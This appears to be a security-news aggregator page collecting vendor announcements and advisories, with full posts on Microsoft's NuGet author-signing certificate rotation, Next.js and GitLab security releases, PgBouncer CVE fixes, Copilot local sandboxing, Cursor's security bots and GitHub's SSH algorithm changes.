Announcements from the labs, companies and platforms themselves.
Starting September 23, 2026, Microsoft is updating the author-signing certificate used for NuGet packages. Customers using trusted signer policies or certificate fingerprint verification should add the new certificate as soon as possible. The post Microsoft is updating its author…
Next.js is preparing a scheduled September security release for September 30, 2026.
Local sandboxing helps reduce the potential impact of unintended commands by limiting access to files, network resources, and credentials on your machine. In the GitHub Copilot app, you configure it… The post Local sandboxing in the GitHub Copilot app appeared first on The…
OpenAI is extending access to its Daybreak program to the Government of Ukraine to support the cyber defense of civilian infrastructure.
PgBouncer 1.26.0 has been released. This release fixes three CVEs: CVE-2026-19888: DoS due to crash, triggerable by unauthenticated clients. Caused by a SCRAM client-final-message without a nonce. CVE-2026-6668: DoS due to infinite loop, triggerable by unauthenticated clients. Ca…
More on PgBouncer 1.26.0 · PgBouncer
Two bots for the last mile of shipping code: Rollouts watches every change as it deploys, and Security Review reports exploitable bugs on every pull request.
The September 22, 2026 out-of-band security update for Next.js is now available
Next.js 16.3.6 and 15.5.26 are planned for a critical out-of-band security update on September 22, 2026.
We’re removing several SSH algorithms, adding a new algorithm, and requiring larger RSA SSH keys to improve security. The changes are as follows: We’re removing the ability to use RSA… The post Security improvements for SSH appeared first on The GitHub Blog.
The Next.js team has disclosed a critical severity vulnerability in an upstream dependency that can lead to remote code execution when ImageResponse renders untrusted input. It is patched in 15.5.26 and 16.3.6. Applications that do not pass untrusted input into ImageResponse are…
We analyzed billions of transactions on Stripe from January 2022 to March 2026 to understand how card fraud patterns differ by region and country, what's driving those differences, and how businesses can respond.
A resilient software supply chain is the foundation of modern delivery, and securing your continuous integration and continuous delivery (CI/CD) pipeline is what keeps innovation moving safely. Notable supply chain attacks more than doubled in the first half of 2026 compared to t…
AI security is an engineering problem. That means defined security requirements, enforceable controls, named owners and evidence that protections work. As AI becomes more capable, the industry must accelerate security engineering, broaden access to defensive tools and share what…
Access Context Manager Feature Access Context Manager supports extended session length for Workforce Identity Federation. This feature is in Preview for Looker (Google Cloud core) customers. For more information, see Configure extended session length for Workforce Identity Federa…
The Rust Security Response Team was notified that Miri stores all environment variables to target/, allowing secrets to persist in caches. While not necessary a vulnerability in and of itself, when paired with GitHub Actions caching behavior, it is possible for this to expose sec…
AWS Continuum for penetration testing is a frontier agent that proactively secures applications throughout the development lifecycle by offering on-demand, customized penetration testing with real exploitability testing. Developers and security teams can now test login credential…
AI is accelerating software development at an unprecedented pace. But as code generation scales, so do the challenges of securing the code, especially emerging AI-based vulnerability exploitations. To meet these challenges, the Google AI and Infrastructure team is transforming ho…
Last year, Stripe data shows fraud attempts against travel and leisure businesses hit a four-year high. We analyzed payment activity from more than 200,000 active travel and leisure businesses on Stripe to understand where fraud is rising, how effectively it’s being blocked, and…
I joined GitLab at a moment when the way teams build and secure software has been changing rapidly. GitLab CEO Bill Staples recently framed that shift in When Code Is Abundant. When code is no longer the bottleneck, trust becomes scarce, and that constraint shows up first in what…
Posted by Maunik Shah, Staff Software Engineer, Alec Garcia, Software Engineer, and Joseph Yong, Technical Program Manager At Android, we are constantly working to provide developers and enterprise partners with the data they need to keep devices protected. Today, we're thrilled…
Teams can now browse HashiCorp-managed pre-written policies, add them to a policy set, and apply common compliance guardrails directly in HCP Terraform.
A crowdsourced game built on Olmo 3 showed how people can exploit unexpected model behaviors to stress-test prosocial AI evaluations—and how open access to a model’s internals can help researchers understand why those tests break.
Vulnerabilities exploited in the wild (CISA), critical advisories in the ecosystems devs build on (GitHub), and the security teams' own reports.
| CVE | Product | Vulnerability | Dev impact | Added |
|---|---|---|---|---|
| CVE-2025-39682 | Linux Kernel | Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability | Broad | Sep 18 |
| CVE-2025-39964 | Linux Kernel | Linux Kernel Race Condition Vulnerability | Some | Sep 18 |
| CVE-2026-53266 | Linux Kernel | Linux Kernel Out-of-Bounds Write Vulnerability | Some | Sep 18 |
| CVE-2026-94127 | F5 BIG-IP APM | F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability | Niche | Sep 22 |
| CVE-2026-93952 | Arista VeloCloud Orchestrator | Arista VeloCloud Orchestrator Improper Input Validation Vulnerability | Niche | Sep 22 |
| CVE-2026-93616 | Check Point Multiple Products | Check Point Multiple Products Path Traversal Vulnerability | Niche | Sep 22 |
| CVE-2026-85102 | Check Point Multiple Products | Check Point Multiple Products Improper Certificate Validation Vulnerability | Niche | Sep 22 |
| CVE-2026-7273 | Zyxel GS1900 Series Switches | Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability | Niche | Sep 21 |
The OpenSSF Governing Board and major tech enterprises are partnering to support sustainable funding models for public package registries. This commitment aims to secure and scale the global software supply chain while ensuring open source stays free and accessible for individual…
How can open source projects maintain secure infrastructure without financial strain? OpenSSF Premier Member, Amazon Web Services (AWS) addresses this by providing critical funding and scalable compute resources.
In this episode of What’s in the SOSS, ActiveState CEO Abby Kearns breaks down the rapidly evolving open source security landscape. The conversation explores why reactive post-build scanning fails, the risks of AI-driven code ingestion, and how impending EU CRA mandates will impa…
Florian Kohnhäuser discovered that OpenSSH incorrectly handled shell metacharacters in certain usernames. An attacker could possibly use this issue to execute arbitrary commands when certain non-default configurations were used, resulting in arbitrary code execution. This issue o…
We explore how AWS neutralizes exposed IAM credentials using managed policies, detailing GitHub secret scanning and CloudTrail monitoring strategies. The post From Exposure to Lockdown: How AWS Neutralizes Compromised IAM Credentials through Managed Policies appeared first on Uni…
Hi everyone! We've just released Chrome Dev 156 (156.0.8063.0) for Android. It's now available on Google Play. You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.…
The Open Source Security Foundation (OpenSSF) is partnering with the Cloud Native Computing Foundation (CNCF) Security Technical Advisory Group (TAG Security) to support the 2026 Security Slam at KubeCon + CloudNativeCon America.
The Stable channel has been updated to 153.0.8010.52/.53 for Windows and Mac and 153.0.8010.52 to Linux which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log Security Fixes and Rewards Note: Access t…
Hi everyone! We've just released Chrome Beta 155 (155.0.8059.16) for Android. It's now available on Google Play. You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here…
The Chrome team is delighted to announce the promotion of Chrome 154 to the stable channel for Windows, Mac and Linux. This will roll out over the coming days/weeks. Chrome 154.0.8037.57 (Linux) 154.0.8037.57/.58 Windows/Mac contains a number of fixes and improvements…
Kazuma Matsumoto and Isabel Mill discovered that libgit2 incorrectly handled certain repository URLs when using the SSH transport. A remote attacker could possibly use this issue to execute arbitrary commands.
Guannan Wang, Zhanpeng Liu, and Guancheng Li discovered that Sudo failed to apply intercept policy checks when commands were executed under certain circumstances. A local attacker permitted to run specific commands could possibly use this issue to bypass policy enforcement and lo…
Analysis of how default configurations in AWS AgentCore Harness allow prompt injection to exfiltrate credentials, and key steps to secure your agents. The post A Vault with a Heap-View: The Uncomfortable Space Between AgentCore Harness and Identity appeared first on Unit 42.
AI has made fundamental changes to the operating environment for cybersecurity. Explore exposure management guidance on recommended controls and take action and stay ahead of cyberthreats. The post From guidance to action: Security fundamentals that materially reduce risk appeare…
Discover how the EU Cyber Resilience Act (CRA) impacts your open source work. OpenSSF’s new community garden user journey helps maintainers, software stewards, and manufacturers navigate legal requirements and find essential tools for CRA readiness.
As part of Patch the Planet, we received preview access to GPT 5.6-Cyber with a simple task: evaluate its cyber capabilities. Recent events inspired me to give it a challenge to work through: escape the VM I’d normally use for sandboxing. The target was a QEMU/KVM VM on my Linux…
Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases: Confirming bug candidates that have been discovered manually or through static analysis.…
OpenClaw is the fastest-growing project in GitHub history. Peter Steinberger and several maintainers share what they learned in the project's first six months. The post OpenClaw went viral. Meet the maintainers building and securing it. appeared first on The GitHub Blog.
USN-8287-1 fixed a vulnerability in XDG Desktop Portal. Unfortunately the fix for CVE-2026-40354 was incomplete and introduced a regression when trashing files. This update fixes the problem and provides the corresponding update for Ubuntu 26.04 LTS. We apologize for the inconven…
It was discovered that SQL parse contained multiple algorithmic complexity flaws when parsing SQL statements with deeply nested parentheses, comments, or dollar-quoted string literals. An attacker could use this issue to cause SQL parse to consume excessive CPU resources, resulti…
Security firms have published numerous blog posts describing how they pointed their agent harness at a codebase and found dozens of bugs ( we’re one of them ). However, these posts tend to focus on agentic code review, which is just one aspect of how we use AI in our security rev…
Overview Dokploy versions 0.29.8 and 0.29.11, as well as commit 24b02f5 on the canary branch, are vulnerable to OS command injection during the backup creation and restoration processes. The vulnerability stems from unsanitized shell command construction that can allow an attacke…
EvilTokens has quickly become one of the top PhaaS platforms, enabling device code phishing attacks through AI-assisted lures, automated infrastructure, and token theft. In collaboration with partners, Microsoft Digital Crimes Unit (DCU) facilitated a disruption of EvilTokens inf…
Born out of academia and raised in corporate IT departments, the Security Assertion Markup Language (SAML) authentication protocol continues to be a staple in these organizations. However, it’s time for it to retire. With the rise of software-as-a-service (SaaS) companies i…
Cross-environment attacks demand a new approach to security operations. Learn how Unit 42 Managed XSIAM helps SOC teams investigate complete attack paths. The post Inside the Modern SOC: Defending the Cross-Environment Pivot appeared first on Unit 42.
Talos is releasing CAIRN, a research toolkit for hunting, classifying, and tracking emerging AI-integrated malware.
1Password’s FLAWED report, published on August 6, 2026, gives defenders a misleading picture of AI patching. Its headline says models produced clean fixes only 26% of the time. That figure includes experiments that deliberately instructed agents to apply the wrong fix, along with…
This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug was a dan…
Overview Cinnamon's Kotaemon (all versions up to v0.12.0) multi‑user chat interface does not verify conversation ownership when loading a conversation. Any authenticated user can read, delete, rename, or overwrite another user’s conversation data by supplying the correct ID. This…
We are announcing ISOC in Microsoft Defender: a foundation built for agentic security that brings leading solutions for SIEM and threat protection together. The post Reimagining the SOC for the agentic era in Microsoft Defender appeared first on Microsoft Security Blog.
The latest email security benchmarking reports show strong Microsoft Defender performance across pre-delivery and post-delivery scenarios and reveal where threats and defenses continue to evolve. The post Improving email security outcomes with real-world Microsoft Defender insigh…
CLOSEDQUORUM, a malware binary discovered through Cisco Talos’ CAIRN project, exhibits fully autonomous command and control (C2). It represents a shift in effort displacement for attackers, in which expanding portions of the attack chain can be executed without operator involveme…
In this week's Threat Source, David talks about why focusing on your security basics is still your best bet, even in a world with rapid AI advancements.
Ransomware incidents in Japan rose 4.7% year over year. The Gentlemen was the most active group, with leak-site listings more than doubling from January to July. Qilin ranked second and appeared to use AI, while SMEs with capital under JPY 1 billion represented 80% of victims.
Overview Vendor-signed UEFI Shell applications may allow an attacker to bypass Secure Boot protections by abusing commands such as mm (Memory Modify). On systems that trust the affected vendor’s certificate or include the application’s Authenticode hash in the UEFI Authorized Sig…
Fermat famously claimed to have a “truly marvelous proof” of his Last Theorem, but he never wrote it down, insisting the margin of his page was too narrow to contain it. A few centuries later, Anthropic announced a complete formalization of Fermat’s Last Theorem using 13 mi…
Overview Imprivata Enterprise Access Management (EAM), an authentication and single sign-on platform for enterprise and clinical environments, contains a vulnerability in versions 26.2.6 and below. The product provides no supported mechanism to rotate its RSA key pair after deplo…
Tutorials, case studies and technical deep dives.
Action required: If you validate that packages are author-signed by Microsoft using a NuGet client policy or the dotnet nuget verify command, follow the steps in this post as soon as possible to avoid potential disruptions during the transition. If you are unsure whether you are impacted, follow the steps below to check.
Microsoft uses an X.509 certificate to author-sign its NuGet packages. As soon as September 23, 2026, a new certificate will become the default Microsoft author-signing certificate for NuGet packages. Existing packages signed with an older certificate will retain their signatures, but the current certificate will no longer be used to sign new packages after the transition.
Current certificate SHA-256 fingerprint: 566A31882BE208BE4422F7CFD66ED09F5D4524A5994F50CCC8B05EC0528C1353
New certificate SHA-256 fingerprint: 9A1B131BEE0605433056A4EA3815478A8E177961A968C6C0027C1093D1FEB630
To determine whether you have a NuGet client policy configured, check for the following elements in your nuget.config. Keep in mind that nuget.config files can exist in multiple locations with different scopes.
<config>
<add key="signatureValidationMode" value="require" />
</config>
<trustedSigners>
<author name="Microsoft">
<certificate fingerprint="3F9001EA83C560D712C24CF213C3D312CB3BFF51EE89435D3430BD06B5D0EECE" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
<certificate fingerprint="AA12DA22A49BCE7D5C1AE64CC1F3D892F150DA76140F210ABD2CBFFCA2C18A27" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
<certificate fingerprint="566A31882BE208BE4422F7CFD66ED09F5D4524A5994F50CCC8B05EC0528C1353" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
</author>
</trustedSigners>dotnet nuget verify to verify that signed packages are author-signed by Microsoft.This may look like the following:
dotnet nuget verify <PackagePath> --certificate-fingerprint 3F9001EA83C560D712C24CF213C3D312CB3BFF51EE89435D3430BD06B5D0EECE --certificate-fingerprint AA12DA22A49BCE7D5C1AE64CC1F3D892F150DA76140F210ABD2CBFFCA2C18A27 --certificate-fingerprint 566A31882BE208BE4422F7CFD66ED09F5D4524A5994F50CCC8B05EC0528C1353If neither scenario applies to you, you should be unaffected by this certificate update. Microsoft NuGet packages signed with the new certificate should install in the same way as packages signed with older certificates.
If you use a NuGet client policy to enforce an allow list of trusted signers, add the new Microsoft certificate to the allow list as soon as possible. Keep the older Microsoft certificates in the policy so that you can continue to install packages signed with those certificates. If you try to install a package signed with the new certificate without updating your trusted signers, the package installation will fail with an NU3034 error.
You can add the new Microsoft author-signing certificate by running the following command:
dotnet nuget trust author Microsoft 9A1B131BEE0605433056A4EA3815478A8E177961A968C6C0027C1093D1FEB630 --algorithm SHA256The dotnet nuget trust command is available in the .NET 6 SDK and later. It updates the applicable nuget.config file. Use --configfile <Path> to update a specific configuration file.
Alternatively, add the new certificate to the existing Microsoft entry in nuget.config. The resulting entry should include both the older certificates and the new certificate:
<trustedSigners>
<author name="Microsoft">
<certificate fingerprint="3F9001EA83C560D712C24CF213C3D312CB3BFF51EE89435D3430BD06B5D0EECE" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
<certificate fingerprint="AA12DA22A49BCE7D5C1AE64CC1F3D892F150DA76140F210ABD2CBFFCA2C18A27" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
<certificate fingerprint="566A31882BE208BE4422F7CFD66ED09F5D4524A5994F50CCC8B05EC0528C1353" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
<certificate fingerprint="9A1B131BEE0605433056A4EA3815478A8E177961A968C6C0027C1093D1FEB630" hashAlgorithm="SHA256" allowUntrustedRoot="false" />
</author>
</trustedSigners>If you use dotnet nuget verify to confirm that a signed package is author-signed by Microsoft, add the new fingerprint while retaining the older fingerprints:
dotnet nuget verify <PackagePath> --certificate-fingerprint 3F9001EA83C560D712C24CF213C3D312CB3BFF51EE89435D3430BD06B5D0EECE --certificate-fingerprint AA12DA22A49BCE7D5C1AE64CC1F3D892F150DA76140F210ABD2CBFFCA2C18A27 --certificate-fingerprint 566A31882BE208BE4422F7CFD66ED09F5D4524A5994F50CCC8B05EC0528C1353 --certificate-fingerprint 9A1B131BEE0605433056A4EA3815478A8E177961A968C6C0027C1093D1FEB630Each --certificate-fingerprint option adds an accepted SHA-256 signer certificate fingerprint. Keeping all four values allows the command to verify newly signed packages and existing packages signed with an older Microsoft certificate.
If you have questions about how you may be impacted or run into issues while following these steps, please contact us.
For more general NuGet feedback and suggestions:
The post Microsoft is updating its author-signing certificate starting September 23, 2026 appeared first on .NET Blog.
Next.js is preparing a scheduled security release for September 30, 2026. This advance notice gives teams time to plan upgrades before patches are published.
The September 30 release will address nine vulnerabilities in Next.js: one critical, two high, five medium, and one low. We plan to publish 16.3.7 and 15.5.27 alongside the full advisories, including impact, affected versions, and upgrade instructions. We recommend upgrading to a patched version once the release is available.
We work with security researchers to secure Next.js and other open source frameworks through Vercel's Open Source Bug Bounty. Anyone interested in contributing to the security of eligible frameworks is encouraged to participate there.
Any questions or concerns regarding our security programs or vulnerability management can be sent to security@vercel.com.
Local sandboxing helps reduce the potential impact of unintended commands by limiting access to files, network resources, and credentials on your machine. In the GitHub Copilot app, you configure it per project for local repository and working tree sessions.
The project’s sandbox settings include:
These project settings describe the policy that the app requests when a sandboxed session starts. The effective policy can be more restrictive when enterprise-managed settings apply.
If your operating system cannot enforce the requested policy, the sandboxed shell fails with an error rather than running without a sandbox.
Local sandboxing is off by default. Open the app settings, select your project, and turn on Sandbox new sessions under “Sandbox”. This applies to new sessions in the project, not sessions already running. Changes to filesystem, network, and credential settings apply to new sessions or when an existing session restarts.
To enable sandboxing for an active local session, enter /sandbox on. This changes that session without changing the project default.
Local sandboxing does not apply to cloud sandbox sessions or sessions running on a remote host. GitHub Copilot app and Copilot CLI sandbox settings are configured separately.
Local sandboxing is in public preview and subject to change.
Learn more about configuring local sandboxing in the GitHub Copilot app.
Discover tips, technical guides, and best practices in our biweekly newsletter just for devs.
Back to top
Posted on 2026-09-23 by PgBouncer
Related Open Source
PgBouncer 1.26.0 has been released. This release fixes three CVEs:
It also tracks search_path and default_transaction_read_only by default, adds the pool_idle_timeout setting, allows query_wait_timeout to be set per user and database, adds meson build support, and removes the deprecated online restart (-R) functionality.
See https://www.pgbouncer.org/2026/09/pgbouncer-1-26-0 for more information, the detailed changelog, and download links.
PgBouncer is a lightweight connection pooler for PostgreSQL.
Today we're launching two Cursor bots for the last mile of shipping code. Rollouts watches every change as it deploys and reports its health per environment. Security Review reports exploitable bugs on every pull request.
Both are available today on Teams and Enterprise plans.
Rollouts attaches a monitor to every pull request and watches the change as it deploys, reporting change health per environment: verified healthy, regression detected, or inconclusive. It's the Cursor version of Firetiger Change Monitors, rebuilt with the Bot Development Kit.
Enable it from the dashboard and connect source control, your deploy system, and your telemetry provider. Rollouts starts watching on the next pull request.
When a pull request opens, Rollouts reads the diff and the systems it touches, then writes a monitoring plan as a PR comment. The plan lists the risks it identified, the effect the change is meant to have, the signals it will check, and any gaps in instrumentation that would make the change hard to verify. Edit the plan in the PR and Rollouts uses your version.
Rollouts wakes on deploy events for the change's commit and runs the plan against your logs, metrics, and traces. It tracks each environment separately, so a change can be verified in staging and still flagged in production. Rollouts checks the change's intended effect alongside error and latency signals, and reports back on the PR when it reaches a verdict.
When Rollouts detects a regression, it names the change it suspects and notifies the author. Depending on configuration, it can also open a revert PR for review or hand the finding to a cloud agent for a fix. Rollouts does not merge or roll back on its own today.
Rollouts connects to Origin or GitHub for source control, to your continuous delivery system for deploy events, and to Datadog and other telemetry providers for signals. Feature flag integration is coming soon.
Security Review is available today. It reads every pull request in the context of the codebase and posts one review comment reporting exploitable bugs. Style and quality stay with Bugbot.
<figure><img src="https://ptht05hbb1ssoooe.public.blob.vercel-storage.com/assets/changelog/security-review-N8azgyLevr8FvNIRqJN6hk71os2Oxu.png" loading="lazy" alt="Security Review comment on a pull request reporting an exploitable bug with a severity and proposed fix" /><figcaption>Security Review comment on a pull request reporting an exploitable bug with a severity and proposed fix</figcaption></figure>
Enable it from the dashboard for the repositories you want reviewed. Draft PRs are skipped.
Security Review looks for injection across SQL, command, and template surfaces, along with authentication and authorization bypasses, including checks that a refactor stopped running. It also flags secrets and credentials committed to source, SSRF and unvalidated redirects, unsafe deserialization, and dependency changes that introduce known vulnerabilities. It traces where user input enters and what it passes through.
Each finding carries a severity, the attack path, and a proposed fix. Dismiss one with a reason and Security Review won't raise it again on that PR.
Add rules for your codebase, such as which client external calls must go through or which tables are never queried from a request handler, and Security Review enforces them on every PR.
Rollouts and Security Reviewer are available today on Teams and Enterprise plans. Enable either bot from the automations tab.
For the next 10 days, we're including usage credits so teams can try Rollouts on real changes. Teams and Enterprise customers receive credits for roughly 50 and 500 changes, respectively.
On September 23, 2026, we released versions 19.4.1, 19.3.3, 19.2.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).
These versions contain important bug and security fixes, and we strongly recommend that all self-managed GitLab installations be upgraded to one of these versions immediately. GitLab.com is already running the patched version. GitLab Dedicated customers do not need to take action.
GitLab releases fixes for vulnerabilities in patch releases. There are two types of patch releases: scheduled releases and ad-hoc critical patches for high-severity vulnerabilities. Scheduled releases are released twice a month on the second and fourth Wednesdays. For more information, please visit our releases handbook and security FAQ. You can see all of GitLab release blog posts here.
For security fixes, the issues detailing each vulnerability are made public on our issue tracker 90 days after the release in which they were patched.
We are committed to ensuring that all aspects of GitLab that are exposed to customers or that host customer data are held to the highest security standards. To maintain good security hygiene, it is highly recommended that all customers upgrade to the latest patch release for their supported version. You can read more best practices in securing your GitLab instance in our blog post.
We strongly recommend that all installations running a version affected by the issues described below are upgraded to the latest version as soon as possible.
When no specific deployment type (omnibus, source code, helm chart, etc.) of a product is mentioned, it means all types are affected.
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a specially crafted regular expression in a CI/CD configuration.
Impacted Versions: GitLab CE/EE: all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L)
Thanks joaxcar for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to an integer overflow issue when compiling a specially crafted regular expression in a CI/CD configuration.
Impacted Versions: GitLab CE/EE: all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Thanks joaxcar for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to execute arbitrary JavaScript in the context of another user’s browser session due to improper sanitization of path components in the merge request diff viewer.
Impacted Versions: GitLab CE/EE: all versions from 13.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 8.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
Thanks joaxcar for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to access sensitive CI/CD variable values from debug-mode job traces through the Duo AI troubleshooting feature due to missing authorization checks.
Impacted Versions: GitLab EE: all versions from 18.7 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
This vulnerability has been discovered internally by GitLab team member Daniel Prause
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user with an MCP-scoped token to perform actions beyond the intended scope of that token due to improper authorization checks.
Impacted Versions: GitLab CE/EE: all versions from 18.3 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)
This vulnerability has been discovered internally by GitLab team member Amr Taha
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to spoof merge request authorship and attribute content to arbitrary existing users on the target instance due to improper reliance on ephemeral cache state during Direct Transfer imports.
Impacted Versions: GitLab CE/EE: all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
Thanks ahacker1 for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user to read private child issue contents, including titles and descriptions, from projects they had no access to, due to missing authorization checks on linked work items within visible epics.
Impacted Versions: GitLab CE/EE: all versions from 19.0 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Thanks rogerace for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user with developer-role permissions to bypass admin-configured AI tool governance controls for workflows in namespaces they do not control due to improper authorization checks.
Impacted Versions: GitLab EE: all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
This vulnerability has been discovered internally by GitLab team member Rahul Barnwal
GitLab has remediated an issue that under certain conditions could have allowed an authenticated user with guest-level permissions to read private security policy content they were not authorized to access due to improper authorization enforcement.
Impacted Versions: GitLab EE: all versions from 17.9 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Thanks rogerace for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under certain conditions could have allowed an unauthenticated user to read CI/CD job trace contents containing sensitive variable values due to improper authorization enforcement in the GraphQL API.
Impacted Versions: GitLab CE/EE: all versions from 15.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)
Thanks scyoon for reporting this vulnerability through our HackerOne bug bounty program
GitLab has remediated an issue that under a race condition, the MCP search tool’s shared state handling could have caused search results to be returned under an incorrect user context.
Impacted Versions: GitLab CE/EE: all versions from 18.6 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1
CVSS 3.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N)
This vulnerability has been discovered internally by GitLab team member Chris Bonk
Add 19.4 release note: Improved table pasting in rich text editorAdd 19.4 release note: organization security dashboardsAdjust docs following patches for "require a commit SHA for merge requests API"This patch includes database migrations that may impact your upgrade process.
The following versions include post-deploy migrations that can run after the upgrade:
To learn more about the impact of upgrades on your installation, see:
To update GitLab, see the Update page. To update GitLab Runner, see the Updating the Runner page.
To receive patch blog notifications delivered to your inbox, visit our contact us page. To receive release notifications via RSS, subscribe to our patch release RSS feed or our RSS feed for all releases.
An out-of-band security update is now available in v16.3.6 (Active LTS) and v15.5.26 (Maintenance LTS). These releases upgrade upstream dependencies, including Satori, to address an issue that could lead to remote code execution in affected Next.js versions. Version 15.5.26 includes related hardening, but Next.js 15.x is not affected by the remote code execution issue.
Please patch your Next.js dependencies to maintain the security of your applications.
ImageResponse (Critical Severity)GHSA-vcvr-r3jv-pc5j (Next.js)
Related upstream advisory: GHSA-wx4j-mvgx-mqwp (Satori)
Next.js versions >=16.2.0 <16.3.6 are affected.
The issue affects the Node.js ImageResponse implementation in next/og. Under specific conditions, improper escaping in SVG output generated by Satori could lead to remote code execution due to vulnerabilities in other upstream dependencies. The fix upgrades those dependencies.
Applications using the Edge ImageResponse implementation are not affected.
We work with a talented set of researchers to secure Next.js and other open source frameworks through Vercel's Open Source Bug Bounty. Anyone interested in contributing to the security of eligible frameworks is encouraged to participate there.
Any questions or concerns regarding our security programs or vulnerability management can be sent to security@vercel.com.
September 22, 2026: Next.js 16.3.6 and 15.5.26 are now available. Read the security update.
A critical security issue has been identified in an upstream dependency. We plan to publish Next.js 16.3.6 and 15.5.26 in an out-of-band update on September 22, 2026.
The full advisory, GHSA-vcvr-r3jv-pc5j, will be published with the update and include impact, affected versions, and upgrade instructions. Upgrade to Next.js 16.3.6 or 15.5.26 as soon as they are available.
We work with security researchers to secure Next.js and other open source frameworks through Vercel's Open Source Bug Bounty. Anyone interested in contributing to the security of eligible frameworks is encouraged to participate there.
Any questions or concerns regarding our security programs or vulnerability management can be sent to security@vercel.com.
Menu. Currently selected: Schedule
We’re removing several SSH algorithms, adding a new algorithm, and requiring larger RSA SSH keys to improve security.
The changes are as follows:
ssh-rsa signature type, including ssh-rsa-cert-v01@openssh.com certificates using SHA-1).diffie-hellman-group-exchange-sha256.mlkem768x25519-sha256 for SSH sessions on github.com and GitHub Enterprise Cloud with Data Residency, except for the U.S. region.Adding ML-KEM lets us offer a newer, more performant key exchange method that is secure against quantum computers.
We’re also removing the older Diffie-Hellman method, a slow, little-used algorithm that could be broken with advances in quantum computing. For RSA, we’re removing the use of SHA-1 since it’s known to be weak, as well as increasing key sizes to align with 128-bit security requirements.
mlkem768x25519-sha256 will be enabled on github.com and GitHub Enterprise Cloud with Data Residency (except for the U.S. region).ssh-rsa signature type (i.e., RSA keys using SHA-1) and the diffie-hellman-group-exchange-sha256 key exchange algorithm.ssh-rsa signature type and the diffie-hellman-group-exchange-sha256 key exchange algorithm.ssh-rsa signature type and diffie-hellman-group-exchange-sha256 key exchange algorithm.These changes will all take effect in GitHub Enterprise Server in version 3.25, except for the addition of mlkem768x25519-sha256, which will take effect in version 3.24.
The only affected users are those connecting with a Git client over SSH or those using the unauthenticated Git protocol on GitHub Enterprise Server. If your Git remotes start with https://, nothing here will affect you.
If you’re using an existing RSA key, make sure you’re using RSA with SHA-2 (i.e., the rsa-sha2-256 and rsa-sha2-512 signature types). You do not need to generate a new key, since all RSA keys are capable of signing with all hash algorithms. As long as the SSH program or library you’re using supports RSA with SHA-2, you can continue to use the same key without a problem and most SSH implementations supporting RSA with SHA-2 will choose it automatically.
Note the distinction between the key type ssh-rsa, which applies generically to all RSA keys regardless of signature algorithm, and the confusingly named signature type ssh-rsa, which indicates an RSA key using SHA-1 (as opposed to rsa-sha2-256 and rsa-sha2-512, which refer to RSA keys using SHA-256 and SHA-512, respectively).
Here’s a list of some common software that uses SSH to connect to GitHub and the version necessary to support RSA with SHA-2 robustly with the default configuration:
| Software | Minimum Version |
|---|---|
| OpenSSH | 7.2p1 |
| JSch | 0.1.66 from this fork |
| TeamCity | 2021.2.3 |
| Go SSH | 0.16.0 |
